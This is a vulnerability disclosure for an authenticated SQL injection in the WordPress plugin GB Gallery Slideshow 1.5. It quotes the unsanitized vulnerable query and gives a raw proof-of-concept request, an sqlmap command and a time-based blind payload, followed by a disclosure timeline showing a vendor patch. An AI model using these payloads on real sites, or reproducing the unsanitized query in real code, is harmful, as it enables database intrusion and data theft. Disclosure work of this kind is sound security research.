Wordpress GB Gallery Slideshow 1.5 Authenticated SQLi Vulnerability

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# Exploit Title : Wordpress GB Gallery Slideshow 1.5 Authenticated SQL Injection

# Exploit Author : Claudio Viviani

# Vendor Homepage : http://gb-plugins.com/

# Software Link : http://downloads.wordpress.org/plugin/gb-gallery-slideshow.1.5.zip

# Date : 2014-08-09

# Tested on : Linux / sqlmap 1.0-dev-5b2ded0
                          Linux / Mozilla Firefox

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# Location :
http://localhost/wp-content/plugins/gb-gallery-slideshow/GBgallery.php

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# Vulnerable code :

    if(isset($_POST['selected_group'])){
        global $gb_post_type, $gb_group_table, $wpdb;
        $my_group_id = $_POST['selected_group'];
        $my_group = $wpdb->get_results( "SELECT groups FROM $gb_group_table WHERE id = ".$my_group_id );
        $args = array(



$_POST['selected_group'] it's not sanitized.

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PoC Exploit:

POST /wordpress/wp-admin/admin-ajax.php HTTP/1.1
Accept-language: en-us,en;q=0.5
Accept-encoding: gzip,deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-agent: sqlmap/1.0-dev-5b2ded0 (http://sqlmap.org)
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: 10.0.0.67
Cookie: wordpress_75aacd302e2a4723897cb1d154c13f77=pippo%7C1407707530%7C5ae003a01e51c11e530c14f6149c9d07; wp-settings-time-1=1407537471; wp-settings-time-2=1406916594; wp-settings-1=editor%3Dtinymce%26libraryContent%3Dbrowse; voted_2=6; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_75aacd302e2a4723897cb1d154c13f77=pippo%7C1407707530%7C6988bc86de7b7790fca51ea294e171a1; redux_current_tab=3
Pragma: no-cache
Cache-control: no-cache,no-store
Content-type: application/x-www-form-urlencoded; charset=utf-8
Content-length: 120
Connection: close

action=gb_ajax_get_group&gb_nonce=5356513fbe&selected_group=[SQL_Injection]


Exploit via sqlmap:

sqlmap --cookie='INSERT_WORDPRESS_COOKIE_HERE' -u "http://localhost/wp-admin/admin-ajax.php" \
--data="action=gb_ajax_get_group&gb_nonce=5356513fbe&selected_group=2" -p selected_group --dbms=mysql

---
Place: POST
Parameter: selected_group
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: action=gb_ajax_get_group&gb_nonce=5356513fbe&selected_group=2 AND SLEEP(5)
    Vector: AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])
---



PoC Video:

https://www.youtube.com/watch?v=CoPVqXwE3W4

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# Vulnerability Disclosure Timeline:

2014-08-09:  Discovered vulnerability
2014-08-09:  Vendor Notification (Web Customers Service Form)
2014-08-10:  Vendor Response/Feedback
2014-08-11:  Vendor Fix/Patch
2014-08-11:  Public Disclosure


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Discovered By : Claudio Viviani
                        http://www.homelab.it
               
                        info@homelab.it
                        homelabit@protonmail.ch

                        https://www.facebook.com/homelabit
                        https://twitter.com/homelabit
                        https://plus.google.com/+HomelabIt1/
                        https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww

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